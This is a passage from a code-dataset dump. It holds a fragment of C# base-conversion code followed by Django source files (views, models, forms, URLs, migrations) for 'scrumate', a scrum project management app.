//Conversia din baza oricare -> 10
static int din0in10(int numar, int baza)
{
int numarderezerva = numar;
int rezultat = 0;
int ultimacifra;
int c = 0;
while (numarderezerva != 0)
{
numarderezerva = numarderezerva / 10;
c++;
}
numarderezerva = numar;
for (int i = 0; i <= c; i++)
{
ultimacifra = numarderezerva % 10;
rezultat = Convert.ToInt32(rezultat + (Math.Pow(baza, i) * ultimacifra));
numarderezerva = numarderezerva / 10;
}
return rezultat;
}
//Conversia din baza 10 in oricare
static int din10in0(int numar, int baza)
{
int numarderezerva = numar;
int ultimacifra, intors = 0, reintors = 0;
while (numarderezerva != 0)
{
ultimacifra = numarderezerva % baza;
intors = intors * 10 + ultimacifra;
numarderezerva = numarderezerva / baza;
}
while (intors != 0)
{
ultimacifra = intors % 10;
reintors = reintors * 10 + ultimacifra;
intors = intors / 10;
}
return reintors;
}
}
}
namespace crap
{
class Program
{
static void Main(string[] args)
{
decimal numar, numar2, zecimal, zecimal2, salvat;
int c = 0;
int ultimacifra;
numar = 32.625m;
numar2 = Convert.ToInt32(numar);
salvat = numar;
zecimal = numar - numar2;
while (zecimal != 0)
{
zecimal = zecimal * 10;
c++;
zecimal2 = Convert.ToInt32(zecimal);
zecimal = zecimal - zecimal2;
}
Console.WriteLine(c);
//Console.WriteLine(numar-numar2);
}
}
}
| 6860bcc4e70bf5348b103b6852e19984071873b5 | [
"Markdown",
"C#"
] | 2 | Markdown | buksarafael/Bazenr | 04f468390015dbda285e8ad87eaf89667c0af290 | 7c05d9d9008e5c7a9830b88be4d5a98a337994f5 |
refs/heads/master | <repo_name>nahidsaikat/scrumate<file_sep>/scrumate/core/user_story/views.py
from django.conf import settings
from django.contrib import messages
from django.shortcuts import render, redirect, reverse, get_object_or_404
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from django.contrib.auth.decorators import login_required, permission_required
from django.views.generic import DetailView
from scrumate.general.decorators import owner_or_lead
from scrumate.core.user_story.filters import UserStoryFilter
from scrumate.core.project.models import Project
from scrumate.core.user_story.models import UserStory
from scrumate.core.user_story.forms import UserStoryForm
from scrumate.general.views import HistoryList
@login_required(login_url='/login/')
def user_story_list(request, project_id, **kwargs):
user_story_filter = UserStoryFilter(request.GET, queryset=UserStory.objects.filter(project_id=project_id).order_by('-id'))
user_story_list = user_story_filter.qs
page = request.GET.get('page', 1)
paginator = Paginator(user_story_list, settings.PAGE_SIZE)
try:
user_stories = paginator.page(page)
except PageNotAnInteger:
user_stories = paginator.page(1)
except EmptyPage:
user_stories = paginator.page(paginator.num_pages)
project = Project.objects.get(pk=project_id)
return render(request, 'core/user_story_list.html', {'user_stories': user_stories, 'filter': user_story_filter, 'project': project})
@owner_or_lead
@login_required(login_url='/login/')
def user_story_add(request, project_id, **kwargs):
if request.method == 'POST':
form = UserStoryForm(request.POST)
if form.is_valid():
story = form.save(commit=False)
story.analysed_by = getattr(request.user, 'employee', None)
story.project_id = project_id
story.save()
messages.success(request, "User story added successfully!")
return redirect('user_story_list', permanent=True, project_id=project_id)
else:
messages.error(request, "Invalid data!")
else:
form = UserStoryForm()
title = 'New User Story'
project = Project.objects.get(pk=project_id)
return render(request, 'core/common_add.html', {'form': form, 'title': title, 'list_url_name': 'user_story_list', 'project': project})
@owner_or_lead
@login_required(login_url='/login/')
def user_story_edit(request, project_id, pk, **kwargs):
instance = get_object_or_404(UserStory, id=pk)
form = UserStoryForm(request.POST or None, instance=instance)
if form.is_valid():
form.save()
messages.success(request, "User story updated successfully!")
return redirect('user_story_list', project_id=project_id)
else:
messages.error(request, "Invalid data!")
title = 'Edit User Story'
project = Project.objects.get(pk=project_id)
return render(request, 'core/common_add.html', {'form': form, 'title': title, 'list_url_name': 'user_story_list', 'project': project})
@owner_or_lead
@login_required(login_url='/login/')
@permission_required('core.update_user_story_status', raise_exception=True)
def update_user_story_status(request, project_id, pk, **kwargs):
instance = get_object_or_404(UserStory, id=pk)
form = UserStoryForm(request.POST or None, instance=instance)
if request.POST:
status = request.POST.get('status')
instance.status = status
instance.save()
messages.success(request, "User story status updated successfully!")
return redirect('user_story_list', project_id=project_id)
project = Project.objects.get(pk=project_id)
return render(request, 'includes/single_field.html', {
'field': form.visible_fields()[5],
'title': 'Update Status',
'url': reverse('user_story_list', kwargs={'project_id': project_id}),
'project': project,
'base_template': 'general/index_project_view.html'
})
class UserStoryHistoryList(HistoryList):
permission_required = 'scrumate.core.user_story_history'
def get_user_story_id(self):
return self.kwargs.get('pk')
def get_project_id(self):
return self.kwargs.get('project_id')
def get_queryset(self):
return UserStory.history.filter(id=self.get_user_story_id())
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project = Project.objects.get(pk=self.get_project_id())
user_story = UserStory.objects.get(pk=self.get_user_story_id())
context['project'] = project
context['title'] = f'History of {user_story.summary}'
context['back_url'] = reverse('user_story_list', kwargs={'project_id': self.get_project_id()})
context['base_template'] = 'general/index_project_view.html'
return context
class UserStoryDetailView(DetailView):
queryset = UserStory.objects.all()
template_name = 'includes/generic_view.html'
context_object_name = 'user_story'
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project_id = self.kwargs.get('project_id')
instance = self.get_object()
context['form'] = UserStoryForm(instance=instance)
context['edit_url'] = reverse('user_story_edit', kwargs={'project_id': project_id, 'pk': instance.pk})
context['list_url'] = reverse('user_story_list', kwargs={'project_id': project_id})
context['title'] = instance.summary
context['project'] = Project.objects.get(pk=project_id)
context['base_template'] = 'general/index_project_view.html'
return context
<file_sep>/scrumate/core/release/urls.py
from django.urls import path
from scrumate.core.release import views
urlpatterns = [
path('', views.release_list, name='release_list'),
path('add/', views.release_add, name='release_add'),
path('<int:pk>/', views.ReleaseDetailView.as_view(), name='release_view'),
path('<int:pk>/edit/', views.release_edit, name='release_edit'),
path('<int:pk>/history/', views.ReleaseHistoryList.as_view(), name='release_history'),
]
<file_sep>/scrumate/core/migrations/0019_auto_20190622_1953.py
# Generated by Django 2.2.2 on 2019-06-22 19:53
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('core', '0018_auto_20190622_1941'),
]
operations = [
migrations.AlterModelOptions(
name='deliverable',
options={'permissions': (('update_deliverable_status', 'Can Update Status of Deliverable'), ('deliverable_history', 'Can See Deliverable History'))},
),
migrations.AlterModelOptions(
name='issue',
options={'permissions': (('update_issue_status', 'Can Update Status of Issue'), ('issue_history', 'Can See Issue History'))},
),
migrations.AlterModelOptions(
name='overtime',
options={'permissions': (('over_time_history', 'Can See Over Time History'),)},
),
migrations.AlterModelOptions(
name='projectmember',
options={'permissions': (('project_member_history', 'Can See Project Member History'),)},
),
migrations.AlterModelOptions(
name='release',
options={'permissions': (('release_history', 'Can See Release History'),)},
),
migrations.AlterModelOptions(
name='sprint',
options={'permissions': (('update_sprint_status', 'Can Update Status of Sprint'), ('sprint_status_report', 'Can See Sprint Status Report'), ('sprint_status_report_download', 'Can Download Sprint Status Report'), ('sprint_history', 'Can See Sprint History'))},
),
migrations.AlterModelOptions(
name='task',
options={'permissions': (('update_task_status', 'Can Update Status of Task'), ('task_history', 'Can See Task History'))},
),
migrations.AlterModelOptions(
name='userstory',
options={'permissions': (('update_user_story_status', 'Can Update Status of User Story'), ('user_story_history', 'Can See User Story History'))},
),
]
<file_sep>/scrumate/templates/core/projects/project_add.html
{% extends 'general/index_project.html' %}
{% block content %}
{% include 'includes/html_form.html' %}
{% endblock %}
<file_sep>/scrumate/people/models.py
from django.db import models
from django.contrib.auth import get_user_model
from simple_history.models import HistoricalRecords
from simple_history import register
from scrumate.people.choices import PartyType, PartyGender, PartyTitle, PartySubType
User = get_user_model()
register(User, app=__package__)
class Division(models.Model):
name = models.CharField(max_length=100)
code = models.CharField(max_length=50)
description = models.TextField(default='')
history = HistoricalRecords()
def __str__(self):
return self.name
class Department(models.Model):
name = models.CharField(max_length=100)
code = models.CharField(max_length=50, null=True, blank=True)
description = models.TextField(default='', null=True, blank=True)
# division = models.ForeignKey(Division, on_delete=models.SET_NULL, default=None, null=True)
history = HistoricalRecords()
def __str__(self):
return self.name
class Meta:
permissions = (
("department_history", "Can See Department History"),
)
class Designation(models.Model):
name = models.CharField(max_length=100)
code = models.CharField(max_length=50, null=True, blank=True)
description = models.TextField(default='', null=True, blank=True)
parent = models.ForeignKey("self", on_delete=models.SET_NULL, blank=True, default=None, null=True)
rank = models.IntegerField(default=None, null=True, blank=True)
department = models.ForeignKey(Department, on_delete=models.DO_NOTHING, default=None)
history = HistoricalRecords()
def __str__(self):
return self.name
class Meta:
permissions = (
("designation_history", "Can See Designation History"),
)
class Party(models.Model):
title = models.IntegerField(choices=PartyTitle.choices, default=PartyTitle.Mr, null=True, blank=True)
first_name = models.CharField(max_length=100)
last_name = models.CharField(max_length=100, null=True, blank=True)
full_name = models.CharField(max_length=200, blank=True)
nick_name = models.CharField(max_length=100, null=True, blank=True)
email = models.CharField(max_length=100, null=True)
phone = models.CharField(max_length=100, null=True)
code = models.CharField(max_length=100, null=True, blank=True)
address_line_1 = models.CharField(max_length=100, null=True)
address_line_2 = models.CharField(max_length=100, null=True, blank=True)
address_line_3 = models.CharField(max_length=100, null=True, blank=True)
address_line_4 = models.CharField(max_length=100, null=True, blank=True)
history = HistoricalRecords()
def __str__(self):
return self.full_name
class Employee(Party):
user = models.OneToOneField(User, on_delete=models.SET_NULL, default=None, null=True, blank=True, related_name='employee')
type = models.IntegerField(choices=PartyType.choices, default=PartyType.Employee)
gender = models.IntegerField(choices=PartyGender.choices, default=PartyGender.Male)
department = models.ForeignKey(Department, on_delete=models.SET_NULL, default=None, null=True)
designation = models.ForeignKey(Designation, on_delete=models.SET_NULL, default=None, null=True)
username = models.CharField(max_length=100)
password = models.CharField(max_length=100)
class Meta:
permissions = (
("employee_history", "Can See Employee History"),
)
class Client(Party):
type = models.IntegerField(choices=PartyType.choices, default=PartyType.Customer)
sub_type = models.IntegerField(choices=PartySubType.choices, default=PartySubType.Organization)
class Meta:
permissions = (
("client_history", "Can See Client History"),
)
<file_sep>/scrumate/core/member/urls.py
from django.urls import path
from scrumate.core.member import views
urlpatterns = [
path('', views.project_member_list, name='project_member_list'),
path('add/', views.project_member_add, name='project_member_add'),
path('<int:pk>/edit/', views.project_member_edit, name='project_member_edit'),
path('<int:pk>/delete/', views.project_member_delete, name='project_member_delete'),
]
<file_sep>/scrumate/core/sprint/forms.py
from datetime import datetime
from django.forms import ModelForm, HiddenInput, DateInput, Textarea
from django_select2.forms import ModelSelect2Widget, Select2Widget
from scrumate.core.sprint.models import Sprint
from scrumate.core.sprint.choices import SprintStatus
from scrumate.general.utils import generate_day_wise_label
from scrumate.people.models import Department
class SprintForm(ModelForm):
class Meta:
model = Sprint
fields = '__all__'
exclude = ('code', 'project')
widgets = {
'day_wise_label': HiddenInput(),
'description': Textarea(attrs={'cols': 25, 'rows': 3}),
'start_date': DateInput(attrs={'type': 'date'}),
'end_date': DateInput(attrs={'type': 'date'}),
'department': ModelSelect2Widget(model=Department, search_fields=['name__icontains']),
'status': Select2Widget(choices=SprintStatus.choices),
}
def clean_day_wise_label(self):
start_date = datetime.strptime(self.data['start_date'], "%Y-%m-%d").date()
end_date = datetime.strptime(self.data['end_date'], "%Y-%m-%d").date()
return generate_day_wise_label(start_date, end_date)
<file_sep>/scrumate/core/report/urls.py
from django.urls import path
from scrumate.core.report import views
urlpatterns = [
path('sprint/sprint_status_report/', views.sprint_status_report, name='sprint_status_report'),
path('sprint/<int:pk>/sprint_status/download/', views.sprint_status_report_download, name='sprint_status_report_download'),
path('project/project_status_report/', views.project_status_report, name='project_status_report'),
path('project/<int:project_id>/project_status/download/', views.project_status_report_download, name='project_status_report_download'),
]<file_sep>/scrumate/general/__init__.py
# default_app_config = 'scrumate.general.GeneralConfig'
from actstream import registry
from django.contrib.auth import get_user_model
User = get_user_model()
registry.register(User)
<file_sep>/scrumate/core/migrations/0005_auto_20190517_1845.py
# Generated by Django 2.2.1 on 2019-05-17 18:45
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('core', '0004_deliverable_project'),
]
operations = [
migrations.AlterField(
model_name='issue',
name='user_story',
field=models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.UserStory'),
),
]
<file_sep>/scrumate/core/daily_scrum/views.py
from datetime import datetime
from django.conf import settings
from django.contrib import messages
from django.contrib.auth.decorators import login_required, permission_required
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from django.shortcuts import render, get_object_or_404, redirect, reverse
from scrumate.core.daily_scrum.filters import DailyScrumFilter
from scrumate.core.deliverable.forms import DeliverableForm
from scrumate.core.deliverable.models import Deliverable
@login_required(login_url='/login/')
def daily_scrum_entry(request, **kwargs):
today = datetime.today().date()
can_assign_dev = request.user.has_perm('assign_deliverable')
if can_assign_dev:
queryset = Deliverable.objects.filter(sprint__start_date__lte=today, sprint__end_date__gte=today).order_by('-id')
elif hasattr(request.user, 'employee'):
queryset = Deliverable.objects.filter(assign_date=today,
assignee=getattr(request.user, 'employee')).order_by('-id')
else:
queryset = None
deliverable_filter = DailyScrumFilter(request.GET, queryset=queryset)
deliverable_list = deliverable_filter.qs
page = request.GET.get('page', 1)
paginator = Paginator(deliverable_list, settings.PAGE_SIZE)
try:
daily_scrums = paginator.page(page)
except PageNotAnInteger:
daily_scrums = paginator.page(1)
except EmptyPage:
daily_scrums = paginator.page(paginator.num_pages)
return render(request, 'core/daily_scrum_list.html', {
'hide': True, 'daily_scrums': daily_scrums, 'filter': deliverable_filter, 'can_assign_dev': can_assign_dev
})
@login_required(login_url='/login/')
@permission_required('core.assign_deliverable', raise_exception=True)
def assign_dev(request, deliverable_id, **kwargs):
instance = get_object_or_404(Deliverable, pk=deliverable_id)
form = DeliverableForm(request.POST or None, instance=instance)
if request.POST:
assignee = request.POST.get('assignee')
instance.assignee_id = assignee
instance.save()
messages.success(request, f'Developer assigned successfully!')
return redirect('daily_scrum')
return render(request, 'includes/single_field.html', {
'hide': True,
'field': form.visible_fields()[6],
'title': 'Assign Dev',
'url': reverse('daily_scrum'),
'base_template': 'index.html'
})
@login_required(login_url='/login/')
@permission_required('core.set_actual_hour', raise_exception=True)
def set_actual_hour(request, deliverable_id, **kwargs):
return change_actual_hour(deliverable_id, request)
@login_required(login_url='/login/')
@permission_required('core.update_actual_hour', raise_exception=True)
def update_actual_hour(request, deliverable_id, **kwargs):
return change_actual_hour(deliverable_id, request)
def change_actual_hour(deliverable_id, request):
instance = get_object_or_404(Deliverable, id=deliverable_id)
form = DeliverableForm(request.POST or None, instance=instance)
if request.POST:
actual_hour = request.POST.get('estimated_hour')
instance.actual_hour = actual_hour
instance.save()
messages.success(request, f'Hour is up to date!')
return redirect('daily_scrum')
return render(request, 'includes/single_field.html', {
'hide': True,
'field': form.visible_fields()[4],
'title': 'Set Actual Hour',
'url': reverse('daily_scrum'),
'base_template': 'index.html'
})
<file_sep>/scrumate/core/deliverable/forms.py
from django.forms import ModelForm, DateInput, Textarea
from django_select2.forms import ModelSelect2Widget, Select2Widget
from scrumate.core.deliverable.choices import DeliverableStatus
from scrumate.core.deliverable.models import Deliverable
from scrumate.core.sprint.models import Sprint
from scrumate.core.task.models import Task
from scrumate.general.choices import Priority
from scrumate.people.models import Employee
class DeliverableForm(ModelForm):
class Meta:
model = Deliverable
fields = '__all__'
exclude = ('assign_date', 'project', 'actual_hour')
widgets = {
'description': Textarea(attrs={'cols': 25, 'rows': 3}),
'assign_date': DateInput(attrs={'type': 'date'}),
'release_date': DateInput(attrs={'type': 'date'}),
'task': ModelSelect2Widget(model=Task, search_fields=['name__icontains']),
'sprint': ModelSelect2Widget(model=Sprint, search_fields=['name__icontains']),
'assignee': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains']),
'priority': Select2Widget(choices=Priority.choices),
'status': Select2Widget(choices=DeliverableStatus.choices),
}
<file_sep>/scrumate/core/sprint/filters.py
import django_filters
from scrumate.core.sprint.models import Sprint
from scrumate.core.deliverable.models import Deliverable
class SprintFilter(django_filters.FilterSet):
class Meta:
model = Sprint
fields = ['name', 'department']
class SprintStatusFilter(django_filters.FilterSet):
sprint = django_filters.ModelChoiceFilter(queryset=Sprint.objects.all())
class Meta:
model = Deliverable
fields = ['sprint']
<file_sep>/scrumate/people/migrations/0002_historicaldepartment_historicaldesignation_historicaldivision_historicalparty.py
# Generated by Django 2.2.2 on 2019-06-21 16:26
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import simple_history.models
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('people', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='HistoricalParty',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('title', models.IntegerField(blank=True, choices=[(1, 'Mr.'), (2, 'Mrs.'), (3, 'Miss')], default=1, null=True)),
('first_name', models.CharField(max_length=100)),
('last_name', models.CharField(blank=True, max_length=100, null=True)),
('full_name', models.CharField(blank=True, max_length=200)),
('nick_name', models.CharField(blank=True, max_length=100, null=True)),
('email', models.CharField(max_length=100, null=True)),
('phone', models.CharField(max_length=100, null=True)),
('code', models.CharField(blank=True, max_length=100, null=True)),
('address_line_1', models.CharField(max_length=100, null=True)),
('address_line_2', models.CharField(blank=True, max_length=100, null=True)),
('address_line_3', models.CharField(blank=True, max_length=100, null=True)),
('address_line_4', models.CharField(blank=True, max_length=100, null=True)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name': 'historical party',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.CreateModel(
name='HistoricalDivision',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(max_length=50)),
('description', models.TextField(default='')),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name': 'historical division',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.CreateModel(
name='HistoricalDesignation',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(blank=True, max_length=50, null=True)),
('description', models.TextField(blank=True, default='', null=True)),
('rank', models.IntegerField(blank=True, default=None, null=True)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('department', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Department')),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
('parent', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Designation')),
],
options={
'verbose_name': 'historical designation',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.CreateModel(
name='HistoricalDepartment',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(blank=True, max_length=50, null=True)),
('description', models.TextField(blank=True, default='', null=True)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name': 'historical department',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
]
<file_sep>/scrumate/core/dashboard/models.py
from django.db import models
from django.contrib.auth import get_user_model
from simple_history.models import HistoricalRecords
from scrumate.general.choices import Column
User = get_user_model()
class Label(models.Model):
name = models.CharField(max_length=100)
code = models.CharField(max_length=50)
description = models.TextField(default='')
def __str__(self):
return self.name
class UserActivity(models.Model):
user = models.ForeignKey(User, on_delete=models.SET_NULL, default=None, null=True)
activity_text = models.TextField(default='')
activity_data = models.TextField(default='')
class Dashboard(models.Model):
name = models.CharField(max_length=100)
code = models.CharField(max_length=50)
def __str__(self):
return self.name
class Meta:
permissions = (
("dev_dashboard", "Can See Dev Dashboard"),
)
class Portlet(models.Model):
name = models.CharField(max_length=100)
code = models.CharField(max_length=50)
title = models.CharField(max_length=100)
html_template = models.CharField(max_length=100)
data_url = models.CharField(max_length=100)
history = HistoricalRecords()
def __str__(self):
return self.name
class DashboardPortlet(models.Model):
dashboard = models.ForeignKey(Dashboard, on_delete=models.CASCADE)
portlet = models.ForeignKey(Portlet, on_delete=models.CASCADE)
column = models.IntegerField(choices=Column, default=Column.One)
height = models.DecimalField(default=50, decimal_places=2, max_digits=15)
width = models.DecimalField(default=100, decimal_places=2, max_digits=15)
history = HistoricalRecords()
<file_sep>/scrumate/core/project/forms.py
from django.forms import ModelForm, PasswordInput, Textarea, DateInput
from django_select2.forms import Select2Widget, ModelSelect2Widget
from scrumate.core.project.models import Project
from scrumate.core.project.choices import ProjectStatus, ProjectType
from scrumate.people.models import Client
class ProjectForm(ModelForm):
class Meta:
model = Project
fields = '__all__'
exclude = ('last_sync_time', )
widgets = {
'git_password': PasswordInput(),
'description': Textarea(attrs={'cols': 25, 'rows': 3}),
'entry_date': DateInput(attrs={'type': 'date'}),
'type': Select2Widget(choices=ProjectType.choices),
'status': Select2Widget(choices=ProjectStatus.choices),
'client': ModelSelect2Widget(model=Client, search_fields=['full_name__icontains']),
}
<file_sep>/scrumate/core/release/forms.py
from django.forms import ModelForm, Textarea, DateInput
from django_select2.forms import ModelSelect2Widget
from scrumate.core.release.models import Release
from scrumate.core.project.models import Project
from scrumate.people.models import Employee
class ReleaseForm(ModelForm):
class Meta:
model = Release
fields = '__all__'
exclude = ('release_log', 'comment', 'delivery_date', 'created_by', 'approved_by', 'project')
widgets = {
'description': Textarea(attrs={'cols': 25, 'rows': 3}),
'release_date': DateInput(attrs={'type': 'date'}),
'delivery_date': DateInput(attrs={'type': 'date'}),
'project': ModelSelect2Widget(model=Project, search_fields=['name__icontains']),
'created_by': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains']),
'approved_by': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains']),
}
<file_sep>/scrumate/core/issue/forms.py
from django.forms import ModelForm, Textarea, DateInput
from django_select2.forms import ModelSelect2Widget, Select2Widget
from scrumate.core.deliverable.choices import DeliverableStatus
from scrumate.core.project.models import Project
from scrumate.core.user_story.models import UserStory
from scrumate.core.issue.models import Issue
from scrumate.people.models import Employee
class IssueForm(ModelForm):
class Meta:
model = Issue
fields = '__all__'
exclude = ('comment', 'resolve_date', 'approved_by', 'code', 'project')
widgets = {
'description': Textarea(attrs={'cols': 25, 'rows': 3}),
'raise_date': DateInput(attrs={'type': 'date'}),
'project': ModelSelect2Widget(model=Project, search_fields=['name__icontains']),
'user_story': ModelSelect2Widget(model=UserStory, search_fields=['summary__icontains'], max_results=500),
'raised_by': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains']),
'approved_by': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains']),
'status': Select2Widget(choices=DeliverableStatus.choices),
}
<file_sep>/scrumate/core/member/models.py
from django.db import models
from simple_history.models import HistoricalRecords
from scrumate.core.member.choices import ProjectMemberRole
from scrumate.core.project.models import Project
from scrumate.people.models import Employee
class ProjectMember(models.Model):
project = models.ForeignKey(Project, on_delete=models.CASCADE)
user = models.ForeignKey(Employee, on_delete=models.DO_NOTHING)
role = models.IntegerField(choices=ProjectMemberRole.choices, default=ProjectMemberRole.Developer)
history = HistoricalRecords()
class Meta:
permissions = (
("project_member_history", "Can See Project Member History"),
)<file_sep>/scrumate/core/migrations/0018_auto_20190622_1941.py
# Generated by Django 2.2.2 on 2019-06-22 19:41
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('core', '0017_historicaldeliverable_historicalissue_historicalovertime_historicalproject_historicalprojectcommitlo'),
]
operations = [
migrations.AlterModelOptions(
name='project',
options={'permissions': (('update_project_status', 'Can Update Status of Project'), ('view_commit_logs', 'Can View Commit Logs of Project'), ('project_status_report', 'Can See Project Status Report'), ('project_status_report_download', 'Can Download Project Status Report'), ('project_members', 'Can See Members of a Project'), ('assign_deliverable', 'Can Assign Deliverables'), ('project_history', 'Can See Project History'))},
),
]
<file_sep>/scrumate/core/task/api.py
from django.contrib.auth.decorators import login_required
from scrumate.core.task.models import Task
from scrumate.general.utils import json_data
@login_required(login_url='/login/')
def task_info(request, pk, **kwargs):
return json_data(Task, pk)
<file_sep>/scrumate/people/migrations/0005_auto_20190622_1953.py
# Generated by Django 2.2.2 on 2019-06-22 19:53
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('people', '0004_auto_20190622_1941'),
]
operations = [
migrations.AlterModelOptions(
name='department',
options={'permissions': (('department_history', 'Can See Department History'),)},
),
migrations.AlterModelOptions(
name='designation',
options={'permissions': (('designation_history', 'Can See Designation History'),)},
),
]
<file_sep>/scrumate/core/daily_scrum/models.py
from django.db import models
from simple_history.models import HistoricalRecords
from scrumate.core.deliverable.models import Deliverable
from scrumate.core.issue.models import Issue
from scrumate.core.project.models import Project
from scrumate.core.release.models import Release
from scrumate.core.sprint.models import Sprint
from scrumate.core.task.models import Task
from scrumate.core.user_story.models import UserStory
from scrumate.people.models import Employee
class DailyScrum(models.Model):
project = models.ForeignKey(Project, on_delete=models.SET_NULL, default=None, null=True, blank=True)
release = models.ForeignKey(Release, on_delete=models.SET_NULL, default=None, null=True, blank=True)
user_story = models.ForeignKey(UserStory, on_delete=models.SET_NULL, default=None, null=True, blank=True)
task = models.ForeignKey(Task, on_delete=models.SET_NULL, default=None, null=True, blank=True)
issue = models.ForeignKey(Issue, on_delete=models.SET_NULL, default=None, null=True, blank=True)
sprint = models.ForeignKey(Sprint, on_delete=models.SET_NULL, default=None, null=True)
deliverable = models.ForeignKey(Deliverable, on_delete=models.SET_NULL, default=None, null=True)
entry_date = models.DateField(default=None, null=True, blank=True)
estimated_hour = models.DecimalField(verbose_name='Point', default=0.0, decimal_places=2, max_digits=15, null=True, blank=True)
actual_hour = models.DecimalField(default=0.0, decimal_places=2, max_digits=15, null=True, blank=True)
employee = models.ForeignKey(Employee, on_delete=models.SET_NULL, default=None, null=True)
comment = models.TextField(default='', null=True, blank=True)
history = HistoricalRecords()
def __str__(self):
return self.project.name + ' ' + self.task.name
class Meta:
permissions = (
("set_actual_hour", "Can Set Actual Hour of Daily Scrum"),
("update_actual_hour", "Can Update Actual Hour of Daily Scrum"),
("daily_scrum_history", "Can See Daily Scrum History"),
)
<file_sep>/scrumate/general/urls.py
from django.urls import path
from scrumate.general import views
urlpatterns = [
path('settings/', views.settings, name='settings'),
path('reports/', views.reports, name='reports'),
path('project/', views.project, name='project'),
path('project/<int:project_id>/', views.project_dashboard, name='project_dashboard'),
]
<file_sep>/scrumate/core/sprint/models.py
import datetime
from decimal import Decimal
from django.db import models
from django.db.models import Sum, Q
from simple_history.models import HistoricalRecords
from scrumate.core.deliverable.choices import DeliverableStatus
from scrumate.core.project.models import Project
from scrumate.core.sprint.choices import SprintStatus
from scrumate.people.models import Department
class Sprint(models.Model):
name = models.CharField(max_length=100)
code = models.CharField(max_length=50, null=True, blank=True)
description = models.TextField(default='', null=True, blank=True)
department = models.ForeignKey(Department, on_delete=models.SET_NULL, default=None, null=True, blank=True)
start_date = models.DateField(default=None, null=True, blank=True)
end_date = models.DateField(default=None, null=True, blank=True)
day_wise_label = models.TextField(default='', null=True, blank=True)
status = models.IntegerField(choices=SprintStatus.choices, default=1, null=True, blank=True)
project = models.ForeignKey(Project, on_delete=models.SET_NULL, default=None, null=True)
history = HistoricalRecords()
def __str__(self):
return self.name
class Meta:
permissions = (
("update_sprint_status", "Can Update Status of Sprint"),
("sprint_status_report", "Can See Sprint Status Report"),
("sprint_status_report_download", "Can Download Sprint Status Report"),
("sprint_history", "Can See Sprint History"),
)
@property
def is_current(self):
today = datetime.datetime.today().date()
return self.start_date <= today and self.end_date >= today
@property
def total_point(self):
from scrumate.core.deliverable.models import Deliverable
return round(Deliverable.objects.filter(~Q(status=DeliverableStatus.Rejected), sprint=self).aggregate(
total_point=Sum('estimated_hour')).get('total_point') or Decimal(0))
@property
def percent_completed(self):
from scrumate.core.deliverable.models import Deliverable
total = self.total_point or Decimal(1)
total_done = Deliverable.objects.filter(
Q(status=DeliverableStatus.Done) | Q(status=DeliverableStatus.Delivered), sprint=self).aggregate(
total_point=Sum('estimated_hour')).get('total_point') or Decimal(0)
